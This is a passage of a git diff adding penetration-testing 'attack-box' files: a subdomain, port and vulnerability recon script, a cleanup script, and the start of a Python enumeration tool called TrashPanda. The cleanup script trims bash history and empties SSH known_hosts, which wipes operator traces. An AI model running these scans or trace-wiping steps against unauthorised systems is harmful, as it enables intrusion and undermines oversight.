portscan_report.txt${NC}" +echo "Port scan completed at $(date)" >> "$LOG_FILE" diff --git a/modules/attack-box/files/recon_automation.sh b/modules/attack-box/files/recon_automation.sh new file mode 100755 index 0000000..37d9779 --- /dev/null +++ b/modules/attack-box/files/recon_automation.sh @@ -0,0 +1,123 @@ +#!/bin/bash +# Automated Reconnaissance Script for Attack Box +# Usage: ./recon_automation.sh + +set -e + +if [ $# -eq 0 ]; then + echo "Usage: $0 " + echo "Example: $0 example.com" + exit 1 +fi + +TARGET="$1" +WORKSPACE="/root/operator/scans/reachability/$TARGET" +DATE=$(date +%Y%m%d_%H%M%S) + +# Colors for output +RED='\033[0;31m' +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +BLUE='\033[0;34m' +NC='\033[0m' # No Color + +echo -e "${GREEN}[+] Starting reconnaissance for: $TARGET${NC}" +echo -e "${BLUE}[*] Creating workspace directory: $WORKSPACE${NC}" + +# Create workspace +mkdir -p "$WORKSPACE" +cd "$WORKSPACE" + +# Create log file +LOG_FILE="recon_$DATE.log" +echo "Reconnaissance started at $(date)" > "$LOG_FILE" + +# Function to log and execute +log_and_run() { + echo -e "${YELLOW}[*] $1${NC}" + echo "[$(date)] $1" >> "$LOG_FILE" + eval "$2" 2>&1 | tee -a "$LOG_FILE" +} + +# Subdomain enumeration +echo -e "${GREEN}[+] Phase 1: Subdomain Enumeration${NC}" +log_and_run "Running Subfinder" "subfinder -d $TARGET -o subdomains_subfinder.txt" +log_and_run "Running Assetfinder" "assetfinder --subs-only $TARGET > subdomains_assetfinder.txt" +log_and_run "Running Amass" "amass enum -passive -d $TARGET -o subdomains_amass.txt" + +# Combine and deduplicate subdomains +log_and_run "Combining subdomain lists" "cat subdomains_*.txt | sort -u > all_subdomains.txt" + +# Check which subdomains are alive +echo -e "${GREEN}[+] Phase 2: Checking Live Subdomains${NC}" +log_and_run "Checking live subdomains with httprobe" "cat all_subdomains.txt | httprobe -c 50 > live_subdomains.txt" + +# Port scanning on live subdomains +echo -e "${GREEN}[+] Phase 3: Port Scanning${NC}" +log_and_run "Running Nmap on live subdomains" "nmap -T4 -iL live_subdomains.txt -oA nmap_scan" + +# Web technology detection +echo -e "${GREEN}[+] Phase 4: Web Technology Detection${NC}" +log_and_run "Running whatweb" "whatweb -i live_subdomains.txt -a 3 > whatweb_results.txt" + +# Screenshot and visual recon +echo -e "${GREEN}[+] Phase 5: Visual Reconnaissance${NC}" +if command -v aquatone &> /dev/null; then + log_and_run "Taking screenshots with Aquatone" "cat live_subdomains.txt | aquatone -out aquatone_report" +fi + +# Directory bruteforcing +echo -e "${GREEN}[+] Phase 6: Directory Enumeration${NC}" +mkdir -p directory_enum +while IFS= read -r url; do + if [[ $url == http* ]]; then + clean_url=$(echo "$url" | sed 's|http://||g' | sed 's|https://||g' | tr '/' '_') + log_and_run "Running gobuster on $url" "gobuster dir -u $url -w /usr/share/wordlists/dirb/common.txt -o directory_enum/gobuster_$clean_url.txt -q" + fi +done < live_subdomains.txt + +# Vulnerability scanning with Nuclei +echo -e "${GREEN}[+] Phase 7: Vulnerability Scanning${NC}" +log_and_run "Running Nuclei" "nuclei -l live_subdomains.txt -t ~/nuclei-templates/ -o nuclei_results.txt" + +# Summary +echo -e "${GREEN}[+] Reconnaissance Complete!${NC}" +echo -e "${BLUE}[*] Results saved in: $WORKSPACE${NC}" +echo -e "${BLUE}[*] Total subdomains found: $(wc -l < all_subdomains.txt)${NC}" +echo -e "${BLUE}[*] Live subdomains: $(wc -l < live_subdomains.txt)${NC}" +echo -e "${BLUE}[*] Log file: $LOG_FILE${NC}" + +# Generate simple HTML report +cat > "recon_report.html" << EOF + + + + Reconnaissance Report - $TARGET + + + +

Reconnaissance Report for $TARGET

+
+

Statistics

+

Total Subdomains Found: $(wc -l < all_subdomains.txt)

+

Live Subdomains: $(wc -l < live_subdomains.txt)

+

Scan Date: $(date)

+
+ +

Live Subdomains

+
$(cat live_subdomains.txt)
+ +

Port Scan Results

+
$(cat nmap_scan.nmap 2>/dev/null || echo "Nmap results not available")
+ + +EOF + +echo -e "${GREEN}[+] HTML report generated: recon_report.html${NC}" +echo "Reconnaissance completed at $(date)" >> "$LOG_FILE" diff --git a/modules/attack-box/files/trash-cleanup.sh b/modules/attack-box/files/trash-cleanup.sh new file mode 100755 index 0000000..8316086 --- /dev/null +++ b/modules/attack-box/files/trash-cleanup.sh @@ -0,0 +1,93 @@ +#!/bin/bash +# Trash Cleanup Script +# Safely removes operational artifacts and cleans system + +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +BLUE='\033[0;34m' +NC='\033[0m' + +echo -e "${BLUE}=== OPERATIONAL CLEANUP ===${NC}" +echo "" + +# Get working directory +if [ -n "$1" ]; then + WORK_DIR="$1" +else + # Auto-detect working directory + if [ -d "/root/operator" ]; then + WORK_DIR="/root/operator" + else + # Find deployment-named directory + WORK_DIR=$(find /root -maxdepth 1 -type d -name "*[a-z]*[a-z]*" 2>/dev/null | head -1) + if [ -z "$WORK_DIR" ]; then + WORK_DIR="/root" + fi + fi +fi + +echo -e "${BLUE}[*] Working directory: $WORK_DIR${NC}" + +# Clean scan results older than 7 days +if [ -d "$WORK_DIR/scans" ]; then + echo -e "${YELLOW}[*] Cleaning old scan results (>7 days)${NC}" + find "$WORK_DIR/scans" -type f -mtime +7 -name "*.xml" -delete 2>/dev/null + find "$WORK_DIR/scans" -type f -mtime +7 -name "*.txt" -delete 2>/dev/null + find "$WORK_DIR/scans" -type f -mtime +7 -name "*.log" -delete 2>/dev/null +fi + +# Clean temporary loot +if [ -d "$WORK_DIR/loot" ]; then + echo -e "${YELLOW}[*] Cleaning temporary loot files${NC}" + find "$WORK_DIR/loot" -name "*.tmp" -delete 2>/dev/null + find "$WORK_DIR/loot" -name "temp_*" -delete 2>/dev/null +fi + +# Clean logs older than 30 days +if [ -d "$WORK_DIR/logs" ]; then + echo -e "${YELLOW}[*] Cleaning old logs (>30 days)${NC}" + find "$WORK_DIR/logs" -type f -mtime +30 -delete 2>/dev/null +fi + +# Clean empty directories +echo -e "${YELLOW}[*] Removing empty directories${NC}" +find "$WORK_DIR" -type d -empty -delete 2>/dev/null + +# Clean system temp files +echo -e "${YELLOW}[*] Cleaning system temporary files${NC}" +rm -f /tmp/nmap_* 2>/dev/null +rm -f /tmp/scan_* 2>/dev/null +rm -f /tmp/exploit_* 2>/dev/null +rm -f /tmp/*.tmp 2>/dev/null + +# Rotate command history +echo -e "${YELLOW}[*] Rotating command history${NC}" +if [ -f ~/.bash_history ]; then + tail -n 100 ~/.bash_history > /tmp/hist_tmp && mv /tmp/hist_tmp ~/.bash_history +fi + +# Clean network artifacts +echo -e "${YELLOW}[*] Clearing network artifacts${NC}" +> ~/.ssh/known_hosts + +# Update file permissions +echo -e "${YELLOW}[*] Updating file permissions${NC}" +if [ -d "$WORK_DIR" ]; then + chmod -R 750 "$WORK_DIR" 2>/dev/null + find "$WORK_DIR" -name "*.sh" -exec chmod +x {} \; 2>/dev/null +fi + +# Compress old files +echo -e "${YELLOW}[*] Compressing old files${NC}" +if [ -d "$WORK_DIR/reports" ]; then + find "$WORK_DIR/reports" -name "*.txt" -mtime +7 -exec gzip {} \; 2>/dev/null +fi + +echo "" +echo -e "${GREEN}=== CLEANUP COMPLETE ===${NC}" +echo -e "${BLUE}Summary:${NC}" +echo -e "${GREEN} โœ“ Old scan results cleaned${NC}" +echo -e "${GREEN} โœ“ Temporary files removed${NC}" +echo -e "${GREEN} โœ“ Logs rotated${NC}" +echo -e "${GREEN} โœ“ Permissions updated${NC}" +echo -e "${GREEN} โœ“ Network artifacts cleared${NC}" diff --git a/modules/attack-box/files/trashpanda.py b/modules/attack-box/files/trashpanda.py new file mode 100644 index 0000000..87c7717 --- /dev/null +++ b/modules/attack-box/files/trashpanda.py @@ -0,0 +1,3403 @@ +#!/usr/bin/env python3 + +import os +import subprocess +import argparse +import sys +import re +import socket +import ipaddress +import threading +import time +import signal +from concurrent.futures import ThreadPoolExecutor, as_completed +from pathlib import Path +import json +import csv +import logging + +# Global configuration +MAX_THREADS = 10 +REACHABILITY_THREADS = 100 +COMMON_PORTS = "21,22,23,25,53,80,110,111,135,139,143,443,993,995,1723,3306,3389,5432,5900,8080" +TCPDUMP_DURATION = 300 # 5 minutes default +REACHABILITY_TIMEOUT = 3 # seconds for each connectivity test +REACHABILITY_PORTS = [22, 23, 25, 53, 80, 135, 139, 443, 445, 993, 995, 3389, 5985, 5986, 8080, 8443] + +# Global logging variables +csv_logger = None +verbose_logger = None + +class Colors: + HEADER = '\033[95m' + OKBLUE = '\033[94m' + OKCYAN = '\033[96m' + OKGREEN = '\033[92m' + WARNING = '\033[93m' + FAIL = '\033[91m' + ENDC = '\033[0m' + BOLD = '\033[1m' + +def setup_logging(base_dir): + """Setup comprehensive logging for TrashPanda operations.""" + global csv_logger, verbose_logger + + logs_dir = os.path.join(base_dir, "logs") + timestamp = time.strftime("%Y%m%d_%H%M%S") + + # Setup CSV command logging + csv_file = os.path.join(logs_dir, f"trashpanda_commands_{timestamp}.csv") + csv_fieldnames = ['start_time', 'end_time', 'hostname', 'command', 'exit_code', 'duration_seconds'] + + with open(csv_file, 'w', newline='') as f: + writer = csv.DictWriter(f, fieldnames=csv_fieldnames) + writer.writeheader() + + # Setup verbose console logging + verbose_file = os.path.join(logs_dir, f"trashpanda_verbose_{timestamp}.log") + verbose_logger = logging.getLogger('trashpanda_verbose') + verbose_logger.setLevel(logging.DEBUG) + + # Create file handler for verbose log + file_handler = logging.FileHandler(verbose_file) + file_handler.setLevel(logging.DEBUG) + + # Create console handler that captures all output + console_handler = logging.StreamHandler(sys.stdout) + console_handler.setLevel(logging.DEBUG) + + # Create formatter + formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s') + file_handler.setFormatter(formatter) + + verbose_logger.addHandler(file_handler) + verbose_logger.propagate = False # Prevent duplicate console output + + print(f"{Colors.OKGREEN}[+] Logging initialized:{Colors.ENDC}") + print(f"{Colors.OKBLUE}[*] CSV commands log: {csv_file}{Colors.ENDC}") + print(f"{Colors.OKBLUE}[*] Verbose log: {verbose_file}{Colors.ENDC}") + + return csv_file, verbose_file + +def log_command(command, start_time=None, end_time=None, exit_code=None, hostname=None): + """Log command execution to CSV file.""" + global csv_logger + + if not hasattr(log_command, 'csv_file'): + return # Logging not initialized + + try: + duration = (end_time - start_time) if start_time and end_time else None + + with open(log_command.csv_file, 'a', newline='') as f: + writer = csv.DictWriter(f, fieldnames=['start_time', 'end_time', 'hostname', 'command', 'exit_code', 'duration_seconds']) + writer.writerow({ + 'start_time': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(start_time)) if start_time else '', + 'end_time': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(end_time)) if end_time else '', + 'hostname': hostname or socket.gethostname(), + 'command': command, + 'exit_code': exit_code, + 'duration_seconds': f"{duration:.2f}" if duration else '' + }) + except Exception as e: + print(f"{Colors.WARNING}[!] Logging error: {e}{Colors.ENDC}") + +def log_verbose(message, level='INFO'): + """Log message to verbose log file.""" + global verbose_logger + + if verbose_logger: + if level == 'DEBUG': + verbose_logger.debug(message) + elif level == 'WARNING': + verbose_logger.warning(message) + elif level == 'ERROR': + verbose_logger.error(message) + else: + verbose_logger.info(message) + +class LoggingPrint: + """Wrapper to capture and log all print statements.""" + def __init__(self, original_stdout): + self.original_stdout = original_stdout + + def write(self, message): + # Write to original stdout + self.original_stdout.write(message) + # Log to verbose log (strip ANSI colors for log file) + if message.strip(): + clean_message = re.sub(r'\033\[[0-9;]*m', '', message.strip()) + log_verbose(clean_message) + + def flush(self): + self.original_stdout.flush() + +def is_public_ip(ip_str): + """Check if an IP address is public (not private/reserved).""" + try: + ip = ipaddress.ip_address(ip_str) + return not (ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_multicast or ip.is_reserved) + except ValueError: + return False + +def filter_public_ips_from_targets(targets): + """Filter out public IPs from target list and warn user.""" + filtered_targets = [] + public_ips = [] + + for target in targets: + # Handle CIDR ranges + if '/' in target: + try: + network = ipaddress.ip_network(target, strict=False) + if any(is_public_ip(str(ip)) for ip in list(network)[:5]): # Check first 5 IPs + public_ips.append(target) + print(f"{Colors.WARNING}[!] Skipping public network range: {target}{Colors.ENDC}") + else: + filtered_targets.append(target) + except ValueError: + filtered_targets.append(target) # Keep if not valid CIDR + # Handle IP ranges + elif '-' in target and not target.count('.') > 3: + try: + base_ip = target.split('-')[0] + if is_public_ip(base_ip): + public_ips.append(target) + print(f"{Colors.WARNING}[!] Skipping public IP range: {target}{Colors.ENDC}") + else: + filtered_targets.append(target) + except: + filtered_targets.append(target) # Keep if parsing fails + # Handle single IPs + else: + try: + # Try to parse as IP first + ip = ipaddress.ip_address(target) + if is_public_ip(str(ip)): + public_ips.append(target) + print(f"{Colors.WARNING}[!] Skipping public IP: {target}{Colors.ENDC}") + else: + filtered_targets.append(target) + except ValueError: + # Not an IP, probably hostname - keep it + filtered_targets.append(target) + + if public_ips: + print(f"{Colors.WARNING}[!] Filtered out {len(public_ips)} public IP targets for safety{Colors.ENDC}") + response = input(f"{Colors.WARNING}Continue with remaining {len(filtered_targets)} targets? [y/N]: {Colors.ENDC}") + if response.lower() != 'y': + print(f"{Colors.FAIL}[!] Scan aborted by user{Colors.ENDC}") + sys.exit(0) + + return filtered_targets + +def print_banner(): + banner = f""" +{Colors.HEADER}{Colors.BOLD} +โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— +โ•šโ•โ•โ–ˆโ–ˆโ•”โ•โ•โ•โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•— + โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘ + โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ•โ• โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘ + โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ + โ•šโ•โ• โ•šโ•โ• โ•šโ•โ•โ•šโ•โ• โ•šโ•โ•โ•šโ•โ•โ•โ•โ•โ•โ•โ•šโ•โ• โ•šโ•โ•โ•šโ•โ• โ•šโ•โ• โ•šโ•โ•โ•šโ•โ• โ•šโ•โ•โ•โ•โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ• โ•šโ•โ• + + ๐Ÿฆ TrashPanda - Network Enumeration Tool v2.4 ๐Ÿฆ + Professional Penetration Testing Framework +{Colors.ENDC} + """ + print(banner) + +def create_pentest_structure(base_name="/root/operator"): + """Create a comprehensive penetration testing directory structure.""" + + # Main engagement directory + base_dir = os.path.abspath(base_name) + + # Primary directories + main_dirs = { + "tools": "Downloaded/compiled tools and scripts", + "scans": "All scan results organized by type", + "logs": "Execution logs and debug output", + "loot": "Extracted credentials, hashes, and sensitive data", + "payloads": "Custom payloads and exploit code", + "targets": "Target lists and reconnaissance data", + "screenshots": "Visual evidence and GUI captures", + "reports": "Draft reports and documentation", + "notes": "Manual notes and observations", + "exploits": "Working exploits and proof-of-concepts", + "wordlists": "Custom and downloaded wordlists", + "pcaps": "Network captures and traffic analysis" + } + + # Scan subdirectories + scan_subdirs = { + "nmap": "Network discovery and port scanning", + "dns": "DNS enumeration and zone transfers", + "snmp": "SNMP enumeration and community strings", + "smb": "SMB/NetBIOS enumeration and shares", + "web": "Web application scanning and enumeration", + "ssl": "SSL/TLS certificate and cipher analysis", + "vulns": "Vulnerability scanning and NSE scripts", + "ldap": "LDAP enumeration and directory services", + "ftp": "FTP enumeration and anonymous access", + "ssh": "SSH enumeration and key analysis", + "databases": "Database enumeration (MySQL, MSSQL, etc)", + "custom": "Custom and manual scans", + "reachability": "Network reachability test results" + } + + # Loot subdirectories + loot_subdirs = { + "credentials": "Usernames, passwords, and authentication data", + "hashes": "Password hashes and cracking results", + "keys": "SSH keys, certificates, and crypto material", + "configs": "Configuration files and sensitive data", + "databases": "Extracted database contents", + "files": "Interesting files and documents" + } + + print(f"{Colors.OKGREEN}[+] Creating penetration testing structure: {base_dir}{Colors.ENDC}") + + # Create main directories + for dir_name, description in main_dirs.items(): + dir_path = os.path.join(base_dir, dir_name) + Path(dir_path).mkdir(parents=True, exist_ok=True) + + # Create README files for documentation + readme_path = os.path.join(dir_path, "README.md") + if not os.path.exists(readme_path): + with open(readme_path, 'w') as f: + f.write(f"# {dir_name.upper()}\n\n") + f.write(f"{description}\n\n") + f.write(f"Created by TrashPanda on {time.strftime('%Y-%m-%d %H:%M:%S')}\n") + + # Create scan subdirectories + scans_dir = os.path.join(base_dir, "scans") + for subdir, description in scan_subdirs.items(): + subdir_path = os.path.join(scans_dir, subdir) + Path(subdir_path).mkdir(parents=True, exist_ok=True) + + readme_path = os.path.join(subdir_path, "README.md") + if not os.path.exists(readme_path): + with open(readme_path, 'w') as f: + f.write(f"# {subdir.upper()} SCANS\n\n") + f.write(f"{description}\n\n") + + # Create loot subdirectories + loot_dir = os.path.join(base_dir, "loot") + for subdir, description in loot_subdirs.items(): + subdir_path = os.path.join(loot_dir, subdir) + Path(subdir_path).mkdir(parents=True, exist_ok=True) + + readme_path = os.path.join(subdir_path, "README.md") + if not os.path.exists(readme_path): + with open(readme_path, 'w') as f: + f.write(f"# {subdir.upper()}\n\n") + f.write(f"{description}\n\n") + + # Create engagement log + engagement_log = os.path.join(base_dir, "logs", "engagement.log") + with open(engagement_log, 'w') as f: + f.write(f"TrashPanda Engagement Log\n") + f.write(f"========================\n") + f.write(f"Started: {time.strftime('%Y-%m-%d %H:%M:%S')}\n") + f.write(f"Operator: operator\n") + f.write(f"Tool: TrashPanda v2.4\n\n") + + # Create initial target file + target_template = os.path.join(base_dir, "targets", "targets.txt") + if not os.path.exists(target_template): + with open(target_template, 'w') as f: + f.write("# Target List\n") + f.write("# Add IPs, ranges, or hostnames (one per line)\n") + f.write("# Examples:\n") + f.write("# 192.168.1.1\n") + f.write("# 192.168.1.0/24\n") + f.write("# 192.168.1.1-50\n") + f.write("# target.domain.com\n\n") + + # Create manual commands file + manual_commands = os.path.join(base_dir, "scans", "_manual_commands.txt") + with open(manual_commands, 'w') as f: + f.write("# Manual Commands for Further Enumeration\n") + f.write("# ======================================\n") + f.write(f"# Generated by TrashPanda on {time.strftime('%Y-%m-%d %H:%M:%S')}\n\n") + + print(f"{Colors.OKGREEN}[+] Penetration testing structure created successfully{Colors.ENDC}") + print(f"{Colors.OKBLUE}[*] Add targets to: {target_template}{Colors.ENDC}") + print(f"{Colors.OKBLUE}[*] Engagement log: {engagement_log}{Colors.ENDC}") + + return base_dir + +def start_tcpdump(base_dir, duration=TCPDUMP_DURATION, interface="any"): + """Start tcpdump for network capture, but only if not already running.""" + pcap_dir = os.path.join(base_dir, "pcaps") + + # Check if capture files already exist + try: + import glob + existing_captures = glob.glob(os.path.join(pcap_dir, "capture_*.pcap")) + if existing_captures: + print(f"{Colors.WARNING}[!] Found {len(existing_captures)} existing capture file(s):{Colors.ENDC}") + for capture in existing_captures[-3:]: # Show last 3 files + file_size = os.path.getsize(capture) / (1024*1024) # MB + mod_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(os.path.getmtime(capture))) + print(f"{Colors.WARNING} - {os.path.basename(capture)} ({file_size:.1f}MB, {mod_time}){Colors.ENDC}") + if len(existing_captures) > 3: + print(f"{Colors.WARNING} ... and {len(existing_captures)-3} more{Colors.ENDC}") + print(f"{Colors.WARNING}[!] Skipping new capture to avoid overwriting existing data{Colors.ENDC}") + return None + except Exception as e: + print(f"{Colors.WARNING}[!] Error checking for existing captures: {e}{Colors.ENDC}") + pass # Continue with capture if check fails + + timestamp = time.strftime("%Y%m%d_%H%M%S") + pcap_file = os.path.join(pcap_dir, f"capture_{timestamp}.pcap") + + print(f"{Colors.OKBLUE}[*] Starting tcpdump capture for {duration} seconds...{Colors.ENDC}") + print(f"{Colors.OKBLUE}[*] Capture file: {pcap_file}{Colors.ENDC}") + + # Build tcpdump command + tcpdump_cmd = [ + "sudo", "tcpdump", + "-i", interface, + "-U", # Unbuffered output + "-w", pcap_file, + "-s", "65535", # Capture full packets + "not", "port", "22" # Exclude SSH traffic to reduce noise + ] + + try: + # Start tcpdump process + tcpdump_process = subprocess.Popen( + tcpdump_cmd, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True + ) + + # Log the process + log_file = os.path.join(base_dir, "logs", "tcpdump.log") + with open(log_file, 'a') as f: + f.write(f"TCPDump started at {time.strftime('%Y-%m-%d %H:%M:%S')}\n") + f.write(f"Command: {' '.join(tcpdump_cmd)}\n") + f.write(f"PID: {tcpdump_process.pid}\n") + f.write(f"Duration: {duration} seconds\n") + f.write(f"Output: {pcap_file}\n\n") + + # Return process info for later termination + return { + 'process': tcpdump_process, + 'start_time': time.time(), + 'duration': duration, + 'pcap_file': pcap_file, + 'log_file': log_file + } + + except Exception as e: + print(f"{Colors.FAIL}[!] Failed to start tcpdump: {e}{Colors.ENDC}") + print(f"{Colors.WARNING}[!] Make sure you have sudo privileges{Colors.ENDC}") + return None + +def stop_tcpdump(tcpdump_info): + """Stop tcpdump and log results.""" + if not tcpdump_info: + return + + try: + process = tcpdump_info['process'] + + # Terminate gracefully + process.terminate() + + # Wait for termination with timeout + try: + process.wait(timeout=5) + except subprocess.TimeoutExpired: + print(f"{Colors.WARNING}[!] TCPDump didn't terminate gracefully, killing...{Colors.ENDC}") + process.kill() + process.wait() + + # Log completion + end_time = time.time() + actual_duration = end_time - tcpdump_info['start_time'] + + with open(tcpdump_info['log_file'], 'a') as f: + f.write(f"TCPDump stopped at {time.strftime('%Y-%m-%d %H:%M:%S')}\n") + f.write(f"Actual duration: {actual_duration:.2f} seconds\n") + f.write(f"Exit code: {process.returncode}\n") + + # Check file size + pcap_file = tcpdump_info['pcap_file'] + if os.path.exists(pcap_file): + file_size = os.path.getsize(pcap_file) + print(f"{Colors.OKGREEN}[+] TCPDump capture completed{Colors.ENDC}") + print(f"{Colors.OKGREEN}[+] Capture file: {pcap_file} ({file_size:,} bytes){Colors.ENDC}") + else: + print(f"{Colors.WARNING}[!] TCPDump capture file not found{Colors.ENDC}") + + except Exception as e: + print(f"{Colors.FAIL}[!] Error stopping tcpdump: {e}{Colors.ENDC}") + +def run_command(command, output_file=None, debug=False, stealth=False): + """Run a command with comprehensive logging.""" + start_time = time.time() + hostname = socket.gethostname() + + if debug: + print(f"{Colors.OKCYAN}[DEBUG] Running: {command}{Colors.ENDC}") + + log_verbose(f"COMMAND START: {command}", 'INFO') + + try: + # Increase timeout for stealth mode (slower scans) + timeout = 7200 if stealth else 3600 + result = subprocess.run(command, shell=True, text=True, capture_output=True, timeout=timeout) + + end_time = time.time() + duration = end_time - start_time + + # Log command to CSV + log_command(command, start_time, end_time, result.returncode, hostname) + + # Log to verbose log + log_verbose(f"COMMAND END: {command} (exit_code: {result.returncode}, duration: {duration:.2f}s)", 'INFO') + + if result.stdout: + log_verbose(f"STDOUT: {result.stdout[:1000]}{'...' if len(result.stdout) > 1000 else ''}", 'DEBUG') + if result.stderr: + log_verbose(f"STDERR: {result.stderr[:1000]}{'...' if len(result.stderr) > 1000 else ''}", 'WARNING') + + if output_file: + with open(output_file, 'w') as f: + f.write(f"Command: {command}\n") + f.write(f"Timestamp: {time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(start_time))}\n") + f.write(f"Duration: {duration:.2f} seconds\n") + f.write(f"Return Code: {result.returncode}\n") + f.write(f"STDOUT:\n{result.stdout}\n") + f.write(f"STDERR:\n{result.stderr}\n") + + if debug: + print(f"{Colors.OKCYAN}[DEBUG] Return code: {result.returncode}, Duration: {duration:.2f}s{Colors.ENDC}") + if result.stdout: + print(f"{Colors.OKCYAN}[DEBUG] STDOUT: {result.stdout[:500]}...{Colors.ENDC}") + + return result + except subprocess.TimeoutExpired: + end_time = time.time() + error_msg = f"Command timed out: {command}" + print(f"{Colors.WARNING}[!] {error_msg}{Colors.ENDC}") + log_command(command, start_time, end_time, -1, hostname) # -1 for timeout + log_verbose(f"TIMEOUT: {error_msg}", 'ERROR') + return None + except Exception as e: + end_time = time.time() + error_msg = f"Error running command: {e}" + print(f"{Colors.FAIL}[!] {error_msg}{Colors.ENDC}") + log_command(command, start_time, end_time, -2, hostname) # -2 for error + log_verbose(f"ERROR: {error_msg}", 'ERROR') + return None + +def add_manual_command(base_dir, service_name, commands): + """Add manual commands to the manual commands file.""" + manual_file = os.path.join(base_dir, "scans", "_manual_commands.txt") + + with open(manual_file, 'a') as f: + f.write(f"\n[*] {service_name}\n") + f.write("=" * (len(service_name) + 4) + "\n\n") + + if isinstance(commands, str): + commands = [commands] + + for cmd in commands: + f.write(f" {cmd}\n") + f.write("\n") + +def parse_targets(target_input): + """Parse various target formats (IPs, ranges, CIDRs, hostnames).""" + targets = [] + + if os.path.isfile(target_input): + with open(target_input, 'r') as f: + lines = f.read().splitlines() + else: + lines = [target_input] + + for line in lines: + line = line.strip() + if not line or line.startswith('#'): + continue + + try: + # Check if it's a CIDR range + if '/' in line: + network = ipaddress.ip_network(line, strict=False) + targets.extend([str(ip) for ip in network.hosts()]) + # Check if it's an IP range (e.g., 192.168.1.1-50) + elif '-' in line and not line.count('-') > 1: + ip_parts = line.split('-') + if len(ip_parts) == 2: + base_ip = ip_parts[0] + end_range = ip_parts[1] + + # Handle cases like 192.168.1.1-50 + if '.' in base_ip and '.' not in end_range: + base_parts = base_ip.split('.') + start_num = int(base_parts[3]) + end_num = int(end_range) + for i in range(start_num, end_num + 1): + targets.append(f"{'.'.join(base_parts[:3])}.{i}") + else: + targets.append(line) # Add as-is if format not recognized + else: + # Single IP or hostname + targets.append(line) + except Exception as e: + print(f"{Colors.WARNING}[!] Error parsing target {line}: {e}{Colors.ENDC}") + targets.append(line) # Add as-is and let tools handle it + + return list(set(targets)) # Remove duplicates + +def classify_network_ranges(targets): + """Intelligently classify and group IP targets into appropriate network ranges for scanning.""" + rfc1918_networks = { + 'class_a': set(), # 10.0.0.0/8 + 'class_b': set(), # 172.16.0.0/12 + 'class_c': set(), # 192.168.0.0/16 + } + + non_rfc1918_ips = [] + hostnames = [] + + for target in targets: + try: + ip_obj = ipaddress.ip_address(target) + + if ip_obj.is_private: + ip_str = str(ip_obj) + + # Class A: 10.0.0.0/8 + if ip_str.startswith('10.'): + octets = ip_str.split('.') + # Group by /16 networks within Class A + network_prefix = f"{octets[0]}.{octets[1]}" + rfc1918_networks['class_a'].add(f"{network_prefix}.0.0/16") + + # Class B: 